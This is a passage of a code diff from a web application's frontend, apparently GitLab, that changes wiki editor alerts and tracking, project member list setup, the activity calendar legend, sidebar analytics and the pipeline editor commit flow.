+ v-gl-tooltip.hover
+ name="question"
+ :title="scheduleDailyLimitMsg"
+ />
</gl-form-radio>
</gl-form-radio-group>
<input
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js
index ce0e573fed2..9056c76d6ca 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js
@@ -12,6 +12,7 @@ Vue.use(Translate);
function initIntervalPatternInput() {
const intervalPatternMount = document.getElementById('interval-pattern-input');
const initialCronInterval = intervalPatternMount?.dataset?.initialInterval;
+ const dailyLimit = intervalPatternMount.dataset?.dailyLimit;
return new Vue({
el: intervalPatternMount,
@@ -22,6 +23,7 @@ function initIntervalPatternInput() {
return createElement('interval-pattern-input', {
props: {
initialCronInterval,
+ dailyLimit,
},
});
},
diff --git a/app/assets/javascripts/pages/projects/project.js b/app/assets/javascripts/pages/projects/project.js
index 91f376060f8..3b24c2c128b 100644
--- a/app/assets/javascripts/pages/projects/project.js
+++ b/app/assets/javascripts/pages/projects/project.js
@@ -129,7 +129,7 @@ export default class Project {
const currentRef = $dropdown.data('ref');
// The split and startWith is to ensure an exact word match
// and avoid partial match ie. currentRef is "dev" and loc is "development"
- const splitPathAfterRefPortion = loc.split(currentRef)[1];
+ const splitPathAfterRefPortion = loc.split('/-/')[1].split(currentRef)[1];
const doesPathContainRef = splitPathAfterRefPortion?.startsWith('/');
if (doesPathContainRef) {
diff --git a/app/assets/javascripts/pages/projects/project_members/index.js b/app/assets/javascripts/pages/projects/project_members/index.js
index 471798d2931..177dc346c60 100644
--- a/app/assets/javascripts/pages/projects/project_members/index.js
+++ b/app/assets/javascripts/pages/projects/project_members/index.js
@@ -42,46 +42,41 @@ initInviteMembersForm();
new UsersSelect(); // eslint-disable-line no-new
const SHARED_FIELDS = ['account', 'expires', 'maxRole', 'expiration', 'actions'];
-initMembersApp(document.querySelector('.js-project-members-list'), {
- namespace: MEMBER_TYPES.user,
- tableFields: SHARED_FIELDS.concat(['source', 'granted']),
- tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
- tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
- requestFormatter: projectMemberRequestFormatter,
- filteredSearchBar: {
- show: true,
- tokens: ['with_inherited_permissions'],
- searchParam: 'search',
- placeholder: s__('Members|Filter members'),
- recentSearchesStorageKey: 'project_members',
+initMembersApp(document.querySelector('.js-project-members-list-app'), {
+ [MEMBER_TYPES.user]: {
+ tableFields: SHARED_FIELDS.concat(['source', 'granted']),
+ tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
+ tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
+ requestFormatter: projectMemberRequestFormatter,
+ filteredSearchBar: {
+ show: true,
+ tokens: ['with_inherited_permissions'],
+ searchParam: 'search',
+ placeholder: s__('Members|Filter members'),
+ recentSearchesStorageKey: 'project_members',
+ },
},
-});
-
-initMembersApp(document.querySelector('.js-project-group-links-list'), {
- namespace: MEMBER_TYPES.group,
- tableFields: SHARED_FIELDS.concat('granted'),
- tableAttrs: {
- table: { 'data-qa-selector': 'groups_list' },
- tr: { 'data-qa-selector': 'group_row' },
+ [MEMBER_TYPES.group]: {
+ tableFields: SHARED_FIELDS.concat('granted'),
+ tableAttrs: {
+ table: { 'data-qa-selector': 'groups_list' },
+ tr: { 'data-qa-selector': 'group_row' },
+ },
+ requestFormatter: groupLinkRequestFormatter,
+ filteredSearchBar: {
+ show: true,
+ tokens: [],
+ searchParam: 'search_groups',
+ placeholder: s__('Members|Search groups'),
+ recentSearchesStorageKey: 'project_group_links',
+ },
},
- requestFormatter: groupLinkRequestFormatter,
- filteredSearchBar: {
- show: true,
- tokens: [],
- searchParam: 'search_groups',
- placeholder: s__('Members|Search groups'),
- recentSearchesStorageKey: 'project_group_links',
+ [MEMBER_TYPES.invite]: {
+ tableFields: SHARED_FIELDS.concat('invited'),
+ requestFormatter: projectMemberRequestFormatter,
+ },
+ [MEMBER_TYPES.accessRequest]: {
+ tableFields: SHARED_FIELDS.concat('requested'),
+ requestFormatter: projectMemberRequestFormatter,
},
-});
-
-initMembersApp(document.querySelector('.js-project-invited-members-list'), {
- namespace: MEMBER_TYPES.invite,
- tableFields: SHARED_FIELDS.concat('invited'),
- requestFormatter: projectMemberRequestFormatter,
-});
-
-initMembersApp(document.querySelector('.js-project-access-requests-list'), {
- namespace: MEMBER_TYPES.accessRequest,
- tableFields: SHARED_FIELDS.concat('requested'),
- requestFormatter: projectMemberRequestFormatter,
});
diff --git a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
index 10105af3561..db7b3bad6ed 100644
--- a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
@@ -4,6 +4,7 @@ import initSettingsPipelinesTriggers from '~/ci_settings_pipeline_triggers';
import initVariableList from '~/ci_variable_list';
import initDeployFreeze from '~/deploy_freeze';
import registrySettingsApp from '~/packages_and_registries/settings/project/registry_settings_bundle';
+import { initRunnerAwsDeployments } from '~/pages/shared/mount_runner_aws_deployments';
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
import initSharedRunnersToggle from '~/projects/settings/mount_shared_runners_toggle';
import initSettingsPanels from '~/settings_panels';
@@ -38,4 +39,5 @@ document.addEventListener('DOMContentLoaded', () => {
initArtifactsSettings();
initSharedRunnersToggle();
initInstallRunner();
+ initRunnerAwsDeployments();
});
diff --git a/app/assets/javascripts/pages/projects/settings/integrations/show/index.js b/app/assets/javascripts/pages/projects/settings/integrations/show/index.js
index 01ad87160c5..53068f72d3f 100644
--- a/app/assets/javascripts/pages/projects/settings/integrations/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/integrations/show/index.js
@@ -1,7 +1,3 @@
import initIntegrationsList from '~/integrations/index';
-import PersistentUserCallout from '~/persistent_user_callout';
-
-const callout = document.querySelector('.js-webhooks-moved-alert');
-PersistentUserCallout.factory(callout);
initIntegrationsList();
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
index c110c1d4d62..9fb8be3fdb9 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
@@ -91,7 +91,7 @@ export default {
label-position="hidden"
@change="toggleFeature"
/>
- <div class="select-wrapper gl-flex-fill-1">
+ <div class="select-wrapper gl-flex-grow-1">
<select
:disabled="displaySelectInput"
class="form-control project-repo-select select-control"
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
index 0b7b4c0ded1..11e6b4577e0 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
@@ -381,7 +381,7 @@ export default {
:label="s__('ProjectSettings|Project visibility')"
>
<div class="project-feature-controls gl-display-flex gl-align-items-center gl-my-3 gl-mx-0">
- <div class="select-wrapper gl-flex-fill-1">
+ <div class="select-wrapper gl-flex-grow-1">
<select
v-model="visibilityLevel"
:disabled="!canChangeVisibilityLevel"
diff --git a/app/assets/javascripts/pages/projects/show/index.js b/app/assets/javascripts/pages/projects/show/index.js
index 83e43d7ac48..26f8018a968 100644
--- a/app/assets/javascripts/pages/projects/show/index.js
+++ b/app/assets/javascripts/pages/projects/show/index.js
@@ -3,6 +3,8 @@ import Activities from '~/activities';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import BlobViewer from '~/blob/viewer/index';
import { initUploadForm } from '~/blob_edit/blob_bundle';
+import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
+import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import leaveByUrl from '~/namespaces/leave_by_url';
import initVueNotificationsDropdown from '~/notifications';
import { initUploadFileTrigger } from '~/projects/upload_file_experiment';
@@ -44,3 +46,5 @@ initVueNotificationsDropdown();
new ShortcutsNavigation(); // eslint-disable-line no-new
initUploadFileTrigger();
+initInviteMembersModal();
+initInviteMembersTrigger();
diff --git a/app/assets/javascripts/pages/shared/mount_runner_aws_deployments.js b/app/assets/javascripts/pages/shared/mount_runner_aws_deployments.js
new file mode 100644
index 00000000000..f3807a33a2b
--- /dev/null
+++ b/app/assets/javascripts/pages/shared/mount_runner_aws_deployments.js
@@ -0,0 +1,17 @@
+import Vue from 'vue';
+import RunnerAwsDeployments from '~/vue_shared/components/runner_aws_deployments/runner_aws_deployments.vue';
+
+export function initRunnerAwsDeployments(componentId = 'js-runner-aws-deployments') {
+ const el = document.getElementById(componentId);
+
+ if (!el) {
+ return null;
+ }
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(RunnerAwsDeployments);
+ },
+ });
+}
diff --git a/app/assets/javascripts/pages/shared/nav/sidebar_tracking.js b/app/assets/javascripts/pages/shared/nav/sidebar_tracking.js
new file mode 100644
index 00000000000..79ce1a37d21
--- /dev/null
+++ b/app/assets/javascripts/pages/shared/nav/sidebar_tracking.js
@@ -0,0 +1,44 @@
+function onSidebarLinkClick() {
+ const setDataTrackAction = (element, action) => {
+ element.setAttribute('data-track-action', action);
+ };
+
+ const setDataTrackExtra = (element, value) => {
+ const SIDEBAR_COLLAPSED = 'Collapsed';
+ const SIDEBAR_EXPANDED = 'Expanded';
+ const sidebarCollapsed = document
+ .querySelector('.nav-sidebar')
+ .classList.contains('js-sidebar-collapsed')
+ ? SIDEBAR_COLLAPSED
+ : SIDEBAR_EXPANDED;
+
+ element.setAttribute(
+ 'data-track-extra',
+ JSON.stringify({ sidebar_display: sidebarCollapsed, menu_display: value }),
+ );
+ };
+
+ const EXPANDED = 'Expanded';
+ const FLY_OUT = 'Fly out';
+ const CLICK_MENU_ACTION = 'click_menu';
+ const CLICK_MENU_ITEM_ACTION = 'click_menu_item';
+ const parentElement = this.parentNode;
+ const subMenuList = parentElement.closest('.sidebar-sub-level-items');
+
+ if (subMenuList) {
+ const isFlyOut = subMenuList.classList.contains('fly-out-list') ? FLY_OUT : EXPANDED;
+
+ setDataTrackExtra(parentElement, isFlyOut);
+ setDataTrackAction(parentElement, CLICK_MENU_ITEM_ACTION);
+ } else {
+ const isFlyOut = parentElement.classList.contains('is-showing-fly-out') ? FLY_OUT : EXPANDED;
+
+ setDataTrackExtra(parentElement, isFlyOut);
+ setDataTrackAction(parentElement, CLICK_MENU_ACTION);
+ }
+}
+export const initSidebarTracking = () => {
+ document.querySelectorAll('.nav-sidebar li[data-track-label] > a').forEach((link) => {
+ link.addEventListener('click', onSidebarLinkClick);
+ });
+};
diff --git a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
index 43753926039..26f6d1d683a 100644
--- a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
+++ b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
@@ -14,8 +14,17 @@ import axios from '~/lib/utils/axios_utils';
import csrf from '~/lib/utils/csrf';
import { setUrlFragment } from '~/lib/utils/url_utility';
import { s__, sprintf } from '~/locale';
+import Tracking from '~/tracking';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import {
+ WIKI_CONTENT_EDITOR_TRACKING_LABEL,
+ CONTENT_EDITOR_LOADED_ACTION,
+ SAVED_USING_CONTENT_EDITOR_ACTION,
+} from '../constants';
+
+const trackingMixin = Tracking.mixin({
+ label: WIKI_CONTENT_EDITOR_TRACKING_LABEL,
+});
const MARKDOWN_LINK_TEXT = {
markdown: '[Link Title](page-slug)',
@@ -53,21 +62,30 @@ export default {
),
primaryAction: s__('WikiPage|Retry'),
},
- useNewEditor: s__('WikiPage|Use new editor'),
+ useNewEditor: {
+ primaryLabel: s__('WikiPage|Use the new editor'),
+ secondaryLabel: s__('WikiPage|Try this later'),
+ title: s__('WikiPage|Get a richer editing experience'),
+ text: s__(
+ "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported.",
+ ),
+ },
switchToOldEditor: {
- label: s__('WikiPage|Switch to old editor'),
- helpText: s__("WikiPage|Switching will discard any changes you've made in the new editor."),
+ label: s__('WikiPage|Switch me back to the classic editor.'),
+ helpText: s__(
+ "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor.",
+ ),
modal: {
- title: s__('WikiPage|Are you sure you want to switch to the old editor?'),
- primary: s__('WikiPage|Switch to old editor'),
+ title: s__('WikiPage|Are you sure you want to switch back to the classic editor?'),
+ primary: s__('WikiPage|Switch to classic editor'),
cancel: s__('WikiPage|Keep editing'),
text: s__(
- "WikiPage|Switching to the old editor will discard any changes you've made in the new editor.",
+ "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor.",
),
},
},
- helpText: s__(
- "WikiPage|This editor is in beta and may not display the page's contents properly.",
+ feedbackTip: s__(
+ 'Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}.',
),
},
linksHelpText: s__(
@@ -86,6 +104,7 @@ export default {
},
cancel: s__('WikiPage|Cancel'),
},
+ contentEditorFeedbackIssue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332629',
components: {
GlAlert,
GlForm,
@@ -104,13 +123,14 @@ export default {
directives: {
GlModalDirective,
},
- mixins: [glFeatureFlagMixin()],
+ mixins: [trackingMixin],
inject: ['formatOptions', 'pageInfo'],
data() {
return {
title: this.pageInfo.title?.trim() || '',
format: this.pageInfo.format || 'markdown',
- content: this.pageInfo.content?.trim() || '',
+ content: this.pageInfo.content || '',
+ isContentEditorAlertDismissed: false,
isContentEditorLoading: true,
useContentEditor: false,
commitMessage: '',
@@ -120,6 +140,10 @@ export default {
};
},
computed: {
+ noContent() {
+ if (this.isContentEditorActive) return this.contentEditor?.empty;
+ return !this.content.trim();
+ },
csrfToken() {
return csrf.token;
},
@@ -157,14 +181,17 @@ export default {
wikiSpecificMarkdownHelpPath() {
return setUrlFragment(this.pageInfo.markdownHelpPath, 'wiki-specific-markdown');
},
+ contentEditorHelpPath() {
+ return setUrlFragment(this.pageInfo.helpPath, 'gitlab-flavored-markdown-support');
+ },
isMarkdownFormat() {
return this.format === 'markdown';
},
- showContentEditorButton() {
- return this.isMarkdownFormat && !this.useContentEditor && this.glFeatures.wikiContentEditor;
+ showContentEditorAlert() {
+ return this.isMarkdownFormat && !this.useContentEditor && !this.isContentEditorAlertDismissed;
},
disableSubmitButton() {
- return !this.content || !this.title || this.contentEditorRenderFailed;
+ return this.noContent || !this.title || this.contentEditorRenderFailed;
},
isContentEditorActive() {
return this.isMarkdownFormat && this.useContentEditor;
@@ -188,6 +215,8 @@ export default {
handleFormSubmit() {
if (this.useContentEditor) {
this.content = this.contentEditor.getSerializedContent();
+
+ this.trackFormSubmit();
}
this.isDirty = false;
@@ -236,6 +265,8 @@ export default {
try {
await this.contentEditor.setSerializedContent(this.content);
this.isContentEditorLoading = false;
+
+ this.trackContentEditorLoaded();
} catch (e) {
this.contentEditorRenderFailed = true;
}
@@ -258,6 +289,20 @@ export default {
this.$refs.confirmSwitchToOldEditorModal.show();
}
},
+
+ trackContentEditorLoaded() {
+ this.track(CONTENT_EDITOR_LOADED_ACTION);
+ },
+
+ trackFormSubmit() {
+ if (this.isContentEditorActive) {
+ this.track(SAVED_USING_CONTENT_EDITOR_ACTION);
+ }
+ },
+
+ dismissContentEditorAlert() {
+ this.isContentEditorAlertDismissed = true;
+ },
},
};
</script>
@@ -275,11 +320,9 @@ export default {
:dismissible="false"
variant="danger"
:primary-button-text="$options.i18n.contentEditor.renderFailed.primaryAction"
- @primaryAction="retryInitContentEditor()"
+ @primaryAction="retryInitContentEditor"
>
- <p>
- {{ $options.i18n.contentEditor.renderFailed.message }}
- </p>
+ {{ $options.i18n.contentEditor.renderFailed.message }}
</gl-alert>
<input :value="csrfToken" type="hidden" name="authenticity_token" />
@@ -299,7 +342,7 @@ export default {
<div class="col-sm-10">
<input
id="wiki_title"
- v-model.trim="title"
+ v-model="title"
name="wiki[title]"
type="text"
class="form-control"
@@ -337,46 +380,50 @@ export default {
{{ label }}
</option>
</select>
- <div>
- <gl-button
- v-if="showContentEditorButton"
- category="secondary"
- variant="confirm"
- class="gl-mt-4"
- @click="initContentEditor"
- >{{ $options.i18n.contentEditor.useNewEditor }}</gl-button
- >
- <div v-if="isContentEditorActive" class="gl-mt-4 gl-display-flex">
- <div class="gl-mr-4">
- <gl-button category="secondary" variant="confirm" @click="confirmSwitchToOldEditor">{{
- $options.i18n.contentEditor.switchToOldEditor.label
- }}</gl-button>
- </div>
- <div class="gl-mt-2">
- <gl-icon name="warning" />
- {{ $options.i18n.contentEditor.switchToOldEditor.helpText }}
- </div>
- </div>
- <gl-modal
- ref="confirmSwitchToOldEditorModal"
- modal-id="confirm-switch-to-old-editor"
- :title="$options.i18n.contentEditor.switchToOldEditor.modal.title"
- :action-primary="{ text: $options.i18n.contentEditor.switchToOldEditor.modal.primary }"
- :action-cancel="{ text: $options.i18n.contentEditor.switchToOldEditor.modal.cancel }"
- @primary="switchToOldEditor"
- >
- {{ $options.i18n.contentEditor.switchToOldEditor.modal.text }}
- </gl-modal>
- </div>
</div>
</div>
- <div class="form-group row">
+ <div class="form-group row" data-testid="wiki-form-content-fieldset">
<div class="col-sm-2 col-form-label">
<label class="control-label-full-width" for="wiki_content">{{
$options.i18n.content.label
}}</label>
</div>
<div class="col-sm-10">
+ <gl-alert
+ v-if="showContentEditorAlert"
+ class="gl-mb-6"
+ variant="info"
+ :primary-button-text="$options.i18n.contentEditor.useNewEditor.primaryLabel"
+ :secondary-button-text="$options.i18n.contentEditor.useNewEditor.secondaryLabel"
+ :dismiss-label="$options.i18n.contentEditor.useNewEditor.secondaryLabel"
+ :title="$options.i18n.contentEditor.useNewEditor.title"
+ @primaryAction="initContentEditor"
+ @secondaryAction="dismissContentEditorAlert"
+ @dismiss="dismissContentEditorAlert"
+ >
+ <gl-sprintf :message="$options.i18n.contentEditor.useNewEditor.text">
+ <template
+ #link="// eslint-disable-next-line vue/no-template-shadow
+ { content }"
+ ><gl-link
+ :href="contentEditorHelpPath"
+ target="_blank"
+ data-testid="content-editor-help-link"
+ >{{ content }}</gl-link
+ ></template
+ >
+ </gl-sprintf>
+ </gl-alert>
+ <gl-modal
+ ref="confirmSwitchToOldEditorModal"
+ modal-id="confirm-switch-to-old-editor"
+ :title="$options.i18n.contentEditor.switchToOldEditor.modal.title"
+ :action-primary="{ text: $options.i18n.contentEditor.switchToOldEditor.modal.primary }"
+ :action-cancel="{ text: $options.i18n.contentEditor.switchToOldEditor.modal.cancel }"
+ @primary="switchToOldEditor"
+ >
+ {{ $options.i18n.contentEditor.switchToOldEditor.modal.text }}
+ </gl-modal>
<markdown-field
v-if="!isContentEditorActive"
:markdown-preview-path="pageInfo.markdownPreviewPath"
@@ -391,7 +438,7 @@ export default {
<textarea
id="wiki_content"
ref="textarea"
- v-model.trim="content"
+ v-model="content"
name="wiki[content]"
class="note-textarea js-gfm-input js-autosize markdown-area"
dir="auto"
@@ -407,6 +454,20 @@ export default {
</markdown-field>
<div v-if="isContentEditorActive">
+ <gl-alert class="gl-mb-6" variant="tip" :dismissable="false">
+ <gl-sprintf :message="$options.i18n.contentEditor.feedbackTip">
+ <template
+ #link="// eslint-disable-next-line vue/no-template-shadow
+ { content }"
+ ><gl-link
+ :href="$options.contentEditorFeedbackIssue"
+ target="_blank"
+ data-testid="wiki-markdown-help-link"
+ >{{ content }}</gl-link
+ ></template
+ >
+ </gl-sprintf>
+ </gl-alert>
<gl-loading-icon v-if="isContentEditorLoading" class="bordered-box gl-w-full gl-py-6" />
<content-editor v-else :content-editor="contentEditor" />
<input id="wiki_content" v-model.trim="content" type="hidden" name="wiki[content]" />
@@ -432,7 +493,10 @@ export default {
>
</gl-sprintf>
<span v-else>
- {{ $options.i18n.contentEditor.helpText }}
+ {{ $options.i18n.contentEditor.switchToOldEditor.helpText }}
+ <gl-button variant="link" @click="confirmSwitchToOldEditor">{{
+ $options.i18n.contentEditor.switchToOldEditor.label
+ }}</gl-button>
</span>
</div>
</div>
diff --git a/app/assets/javascripts/pages/shared/wikis/constants.js b/app/assets/javascripts/pages/shared/wikis/constants.js
new file mode 100644
index 00000000000..b358ac9cf52
--- /dev/null
+++ b/app/assets/javascripts/pages/shared/wikis/constants.js
@@ -0,0 +1,4 @@
+export const WIKI_CONTENT_EDITOR_TRACKING_LABEL = 'wiki_content_editor';
+
+export const CONTENT_EDITOR_LOADED_ACTION = 'content_editor_loaded';
+export const SAVED_USING_CONTENT_EDITOR_ACTION = 'saved_using_content_editor';
diff --git a/app/assets/javascripts/pages/users/activity_calendar.js b/app/assets/javascripts/pages/users/activity_calendar.js
index c416106fdd8..03dba699461 100644
--- a/app/assets/javascripts/pages/users/activity_calendar.js
+++ b/app/assets/javascripts/pages/users/activity_calendar.js
@@ -1,4 +1,3 @@
-import { scaleLinear, scaleThreshold } from 'd3-scale';
import { select } from 'd3-selection';
import dateFormat from 'dateformat';
import $ from 'jquery';
@@ -8,7 +7,7 @@ import axios from '~/lib/utils/axios_utils';
import { getDayName, getDayDifference } from '~/lib/utils/datetime_utility';
import { n__, s__, __ } from '~/locale';
-const d3 = { select, scaleLinear, scaleThreshold };
+const d3 = { select };
const firstDayOfWeekChoices = Object.freeze({
sunday: 0,
@@ -16,6 +15,14 @@ const firstDayOfWeekChoices = Object.freeze({
saturday: 6,
});
+const CONTRIB_LEGENDS = [
+ { title: __('No contributions'), min: 0 },
+ { title: __('1-9 contributions'), min: 1 },
+ { title: __('10-19 contributions'), min: 10 },
+ { title: __('20-29 contributions'), min: 20 },
+ { title: __('30+ contributions'), min: 30 },
+];
+
const LOADING_HTML = `
<div class="text-center">
<div class="spinner spinner-md"></div>
@@ -42,7 +49,17 @@ function formatTooltipText({ date, count }) {
return `${contribText}<br /><span class="gl-text-gray-300">${dateDayName} ${dateText}</span>`;
}
-const initColorKey = () => d3.scaleLinear().range(['#acd5f2', '#254e77']).domain([0, 3]);
+// Return the contribution level from the number of contributions
+export const getLevelFromContributions = (count) => {
+ if (count <= 0) {
+ return 0;
+ }
+
+ const nextLevel = CONTRIB_LEGENDS.findIndex(({ min }) => count < min);
+
+ // If there is no higher level, we are at the end
+ return nextLevel >= 0 ? nextLevel - 1 : CONTRIB_LEGENDS.length - 1;
+};
export default class ActivityCalendar {
constructor(
@@ -111,10 +128,6 @@ export default class ActivityCalendar {
innerArray.push({ count, date, day });
}
- // Init color functions
- this.colorKey = initColorKey();
- this.color = this.initColor();
-
// Init the svg element
this.svg = this.renderSvg(container, group);
this.renderDays();
@@ -180,9 +193,7 @@ export default class ActivityCalendar {
.attr('y', (stamp) => this.dayYPos(stamp.day))
.attr('width', this.daySize)
.attr('height', this.daySize)
- .attr('fill', (stamp) =>
- stamp.count !== 0 ? this.color(Math.min(stamp.count, 40)) : '#ededed',
- )
+ .attr('data-level', (stamp) => getLevelFromContributions(stamp.count))
.attr('title', (stamp) => formatTooltipText(stamp))
.attr('class', 'user-contrib-cell has-tooltip')
.attr('data-html', true)
@@ -246,50 +257,24 @@ export default class ActivityCalendar {
}
renderKey() {
- const keyValues = [
- __('No contributions'),
- __('1-9 contributions'),
- __('10-19 contributions'),
- __('20-29 contributions'),
- __('30+ contributions'),
- ];
- const keyColors = [
- '#ededed',
- this.colorKey(0),
- this.colorKey(1),
- this.colorKey(2),
- this.colorKey(3),
- ];
-
this.svg
.append('g')
.attr('transform', `translate(18, ${this.daySizeWithSpace * 8 + 16})`)
.selectAll('rect')
- .data(keyColors)
+ .data(CONTRIB_LEGENDS)
.enter()
.append('rect')
.attr('width', this.daySize)
.attr('height', this.daySize)
- .attr('x', (color, i) => this.daySizeWithSpace * i)
+ .attr('x', (_, i) => this.daySizeWithSpace * i)
.attr('y', 0)
- .attr('fill', (color) => color)
- .attr('class', 'has-tooltip')
- .attr('title', (color, i) => keyValues[i])
+ .attr('data-level', (_, i) => i)
+ .attr('class', 'user-contrib-cell has-tooltip contrib-legend')
+ .attr('title', (x) => x.title)
.attr('data-container', 'body')
.attr('data-html', true);
}
- initColor() {
- const colorRange = [
- '#ededed',
- this.colorKey(0),
- this.colorKey(1),
- this.colorKey(2),
- this.colorKey(3),
- ];
- return d3.scaleThreshold().domain([0, 10, 20, 30]).range(colorRange);
- }
-
clickDay(stamp) {
if (this.currentSelectedDate !== stamp.date) {
this.currentSelectedDate = stamp.date;
diff --git a/app/assets/javascripts/pdf/index.vue b/app/assets/javascripts/pdf/index.vue
index c8a04eb72c4..6a64538abfe 100644
--- a/app/assets/javascripts/pdf/index.vue
+++ b/app/assets/javascripts/pdf/index.vue
@@ -24,6 +24,9 @@ export default {
hasPDF() {
return this.pdf && this.pdf.length > 0;
},
+ availablePages() {
+ return this.pages.filter(Boolean);
+ },
},
watch: { pdf: 'load' },
mounted() {
@@ -61,13 +64,7 @@ export default {
<template>
<div v-if="hasPDF" class="pdf-viewer">
- <page
- v-for="(page, index) in pages"
- v-if="page"
- :key="index"
- :page="page"
- :number="index + 1"
- />
+ <page v-for="(page, index) in availablePages" :key="index" :page="page" :number="index + 1" />
</div>
</template>
diff --git a/app/assets/javascripts/performance_bar/components/detailed_metric.vue b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
index e5b26a00c4c..04efc459a21 100644
--- a/app/assets/javascripts/performance_bar/components/detailed_metric.vue
+++ b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
@@ -214,7 +214,7 @@ export default {
<div></div>
</template>
</gl-modal>
- <span class="gl-text-white">{{ title }}</span>
+ {{ title }}
<request-warning :html-id="htmlId" :warnings="warnings" />
</div>
</template>
diff --git a/app/assets/javascripts/performance_bar/components/performance_bar_app.vue b/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
index ebe9c4eee2f..214e1729bf8 100644
--- a/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
+++ b/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
@@ -74,6 +74,11 @@ export default {
keys: ['label', 'code', 'proxy', 'error'],
},
{
+ metric: 'memory',
+ header: s__('PerformanceBar|Memory'),
+ keys: ['item_header', 'item_content'],
+ },
+ {
metric: 'total',
header: s__('PerformanceBar|Frontend resources'),
keys: ['name', 'size'],
@@ -136,7 +141,7 @@ export default {
<div id="peek-view-host" class="view">
<span
v-if="hasHost"
- class="current-host gl-text-white"
+ class="current-host"
:class="{ canary: currentRequest.details.host.canary }"
>
<span v-html="birdEmoji"></span>
diff --git a/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js b/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js
index 582fdfea6c9..e4fd423249b 100644
--- a/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js
+++ b/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js
@@ -2,10 +2,16 @@ import { helpPagePath } from '~/helpers/help_page_helper';
export const CODE_SNIPPET_SOURCE_URL_PARAM = 'code_snippet_copied_from';
export const CODE_SNIPPET_SOURCE_API_FUZZING = 'api_fuzzing';
-export const CODE_SNIPPET_SOURCES = [CODE_SNIPPET_SOURCE_API_FUZZING];
+export const CODE_SNIPPET_SOURCE_DAST = 'dast';
+
+export const CODE_SNIPPET_SOURCES = [CODE_SNIPPET_SOURCE_API_FUZZING, CODE_SNIPPET_SOURCE_DAST];
export const CODE_SNIPPET_SOURCE_SETTINGS = {
[CODE_SNIPPET_SOURCE_API_FUZZING]: {
datasetKey: 'apiFuzzingConfigurationPath',
docsPath: helpPagePath('user/application_security/api_fuzzing/index'),
},
+ [CODE_SNIPPET_SOURCE_DAST]: {
+ datasetKey: 'dastConfigurationPath',
+ docsPath: helpPagePath('user/application_security/dast/index'),
+ },
};
diff --git a/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue b/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue
index 567164cb0ee..8f4894a0bde 100644
--- a/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue
+++ b/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue
@@ -8,6 +8,8 @@ import {
COMMIT_SUCCESS,
} from '../../constants';
import commitCIFile from '../../graphql/mutations/commit_ci_file.mutation.graphql';
+import updateCurrentBranchMutation from '../../graphql/mutations/update_current_branch.mutation.graphql';
+import updateLastCommitBranchMutation from '../../graphql/mutations/update_last_commit_branch.mutation.graphql';
import getCommitSha from '../../graphql/queries/client/commit_sha.graphql';
import getCurrentBranch from '../../graphql/queries/client/current_branch.graphql';
import getIsNewCiConfigFile from '../../graphql/queries/client/is_new_ci_config_file.graphql';
@@ -113,6 +115,8 @@ export default {
this.redirectToNewMergeRequest(targetBranch);
} else {
this.$emit('commit', { type: COMMIT_SUCCESS });
+ this.updateLastCommitBranch(targetBranch);
+ this.updateCurrentBranch(targetBranch);
}
} catch (error) {
this.$emit('showError', { type: COMMIT_FAILURE, reasons: [error?.message] });
@@ -123,6 +127,18 @@ export default {
onCommitCancel() {
this.$emit('resetContent');
},
+ updateCurrentBranch(currentBranch) {
+ this.$apollo.mutate({
+ mutation: updateCurrentBranchMutation,
+ variables: { currentBranch },
+ });
+ },
+ updateLastCommitBranch(lastCommitBranch) {
+ this.$apollo.mutate({
